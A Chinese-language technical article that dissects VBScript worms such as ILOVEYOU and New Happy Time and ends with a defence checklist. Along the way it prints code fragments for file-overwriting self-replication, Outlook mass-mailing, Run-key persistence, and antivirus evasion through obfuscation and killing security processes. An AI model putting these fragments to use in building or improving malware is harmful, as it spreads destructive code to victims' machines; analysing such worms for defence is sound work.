前言:腳本病毒的興起與威脅
2000 年「愛蟲」病毒引爆全球,損失數十億美元;其後「新歡樂時光」等 VBS 腳本蠕蟲肆虐。VBScript 病毒因編寫簡單、破壞力強、傳播快、變種多、誘騙性強,成為一時瘟疫。本文系統剖析其核心技術原理。
一、VBS 病毒核心特徵
| 特徵 | 說明 |
| 編寫簡單 | 零基礎也能速成,門檻極低 |
| 破壞力大 | 文件損壞、郵件伺服器癱瘓、網絡擁塞 |
| 傳染力強 | 源碼可讀、自我復制易、變種容易 |
| 傳播廣 | Email、網頁、局域網共享、IRC、P2P 多管齊下 |
| 源碼易得 | 腳本直譯執行,加密也易破解 |
| 誘騙性強 | 雙後綴(.jpg.vbs)、偽裝圖標、社工話術 |
| 生成器泛濫 | 模組化功能拼裝,自動生成變種 |
二、核心技術原理剖析
1. 文件感染與搜尋:自我復制 + 遞歸遍歷
' 關鍵對象:Scripting.FileSystemObject (FSO)
Set fso = CreateObject("Scripting.FileSystemObject")
Set self = fso.OpenTextFile(WScript.ScriptFullName, 1)
vbscopy = self.ReadAll ' 讀取自身完整代碼
' 感染目標文件
Set ap = fso.OpenTextFile(targetFile.Path, 2, True)
ap.Write vbscopy ' 覆蓋寫入病毒代碼
ap.Close
fso.GetFile(targetFile.Path).Copy targetFile.Path & ".vbs" ' 備份副本
targetFile.Delete True ' 刪除原文件
' 遞歸掃描目錄
Sub Scan(folder_)
On Error Resume Next
Set folder_ = fso.GetFolder(folder_)
For Each file In folder_.Files
If LCase(fso.GetExtensionName(file)) = "mp5" Then ' 針對特定後綴
' 感染邏輯...
End If
Next
For Each subfolder In folder_.SubFolders
Scan subfolder ' 遞歸
Next
End Sub
2. 四大網絡傳播途徑
| 途徑 | 關鍵技術 | 典型代碼片段 |
| Email 附件 |
Outlook.Application + MAPI 命名空間遍歷地址簿 |
Set outlookApp = CreateObject("Outlook.Application")
Set mapiObj = outlookApp.GetNameSpace("MAPI")
item.Send |
| 局域網共享 |
WScript.Network 枚舉網絡驅動器/打印機 |
Set WSHNetwork = CreateObject("WScript.Network")
colDrives = WSHNetwork.EnumNetworkDrives |
| 網頁感染 |
ActiveX 組件 {F935DC22...} (WSH Shell) + {0D43FE01...} (FSO) |
Apple0bject.setCLSID("{F935DC22...}")
Set WsShell = Apple0bject.Get0bject() |
| IRC/P2P |
修改 mIRC script.ini / KaZaA 共享目錄 |
mirc.WriteLine "n0=on 1:join:... /dcc send ..." |
3. 獲取控制權:持久化與欺騙
- 註冊表 Run 鍵:
wsh.RegWrite "HKLM\...\Run\Key", "wscript.exe virus.vbs"
- 文件關聯劫持: 修改 .dll/.exe 關聯指向
wscript.exe 或病毒腳本。
- 雙後綴欺騙:
beauty.jpg.vbs 顯示為 beauty.jpg。
- desktop.ini + folder.htt: 進入目錄自動觸發腳本(新歡樂時光核心手法)。
4. 反殺毒對抗技術
| 技術 | 原理 | 代碼示例 |
| 自加密/多態 |
隨機密鑰加密關鍵代碼,每次感染特徵碼不同 |
Randomize + Chr(Int(Rnd*22)+65) 字符替換 |
| Execute 動態執行 |
將敏感對象聲明字符串化,運行時 Execute(str) 繞過靜態掃描 |
Execute("Set fso=CreateObject(""Scripting.FileSystemObject"")") |
| 字符串拆分混淆 |
CreateObject("Script"&"ing.FileSys"&"temObject") |
繞過特徵碼匹配 |
| 進程終止 |
遍歷進程列表,殺殺毒軟件進程、刪除關鍵文件 |
WMI Win32_Process + Terminate |
5. 病毒生成器原理
模組化功能庫(郵件傳播、文件感染、註冊表持久化等)+ 用戶勾選配置 + 代碼拼裝 + 混淆優化 = 定製化病毒源碼。因腳本無需編譯、無校驗定位,生成極其簡單。
三、提取加密病毒樣本實戰(以新歡樂時光為例)
- 用編輯器打開
folder.htt,定位 <script language=vbscript> 區塊。
- 複製加密字符串
ExeString 及解密腳本 Execute(...) 到新 .vbs 文件。
- 在解密後添加導出代碼:
Set fso=CreateObject("Scripting.FileSystemObject")
Set f=fso.CreateTextFile("decoded.log",True)
f.WriteLine ThisText
- 運行該腳本,獲得解密後完整源碼
decoded.log。
四、VBS 病毒弱點與防範體系
核心依賴(即弱點)
- FileSystemObject (scrrun.dll)
- Windows Script Host (wshom.ocx / wscript.exe)
- .vbs/.vbe/.js/.jse 文件關聯
- ActiveX(網頁傳播)
- Outlook Express 自動發郵件
徹底防範「組合拳」
| 層面 | 具體操作 | 命令/路徑 |
| 禁用 FSO |
註銷組件 / 刪除註冊表項 |
regsvr32 scrrun.dll /u 或刪除 HKCR\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228} |
| 卸載 WSH |
控制面板 → 添加/刪除程序 → Windows 組件 → 取消 WSH |
或刪除 HKCR\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B} |
| 移除腳本關聯 |
資料夾選項 → 文件類型 → 刪除 VBS/VBE/JS/JSE |
|
| 重命名/刪除 wscript.exe |
ren %windir%\System32\wscript.exe wscript.exe.bak |
|
| 瀏覽器禁用 ActiveX |
IE 選項 → 安全 → 自定義級別 → 所有 ActiveX 設為「禁用」 |
|
| 禁用 OE 自動發信 |
工具 → 選項 → 安全 → 勾選「警告我其他應用程序嘗試發送郵件」 |
|
| 顯示文件擴展名 |
資料夾選項 → 視圖 → 取消「隱藏已知類型擴展名」 |
|
| 安裝殺毒軟件並更新病毒庫 |
最後防線,不可或缺 |
|
五、腳本病毒發展展望
隨著網絡發展,PHP/JS/Perl 等腳本病毒將湧現。但腳本語言本質限制(依賴宿主環境、易清除、易防範)決定其難成主流威脅。真正的病毒技術愛好者終將轉向 PE 級二進制技術。腳本病毒雖會持續存在,但像「愛蟲」級影響力的事件將屈指可數。